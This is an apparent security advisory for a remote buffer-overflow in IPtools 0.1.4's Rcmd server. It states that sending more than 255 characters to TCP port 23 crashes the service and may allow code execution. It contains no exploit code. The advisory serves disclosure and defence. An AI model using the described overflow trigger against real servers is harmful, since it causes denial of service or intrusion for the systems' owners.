IPtools is prone to a remote buffer-overflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.
Exploiting this vulnerability may allow remote attackers to execute arbitrary code in the context of the affected device. Failed exploit attempts will result in a denial-of-service condition.
IPtools 0.1.4 is vulnerable; other versions may also be affected.
Title: IpTools(Tiny TCP/IP server) - Rcmd Remote Overflow Vulnerability
Software : IpTools(Tiny TCP/IP server)
Software Version : 0.1.4
Vendor: http://iptools.sourceforge.net/iptools.html
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: 2012-01-07
Updated:
Impact : High
Bug Description :
IPtools is a set of small tiny TCP/IP programs includes Remote command server(not a telnet server, Executable file: Rcmd.bat), etc.
And the remote command server would bind tcp port 23, but it does not validate the command input size leading to a Denial Of Service
flaw while sending more than 255 characters to it.
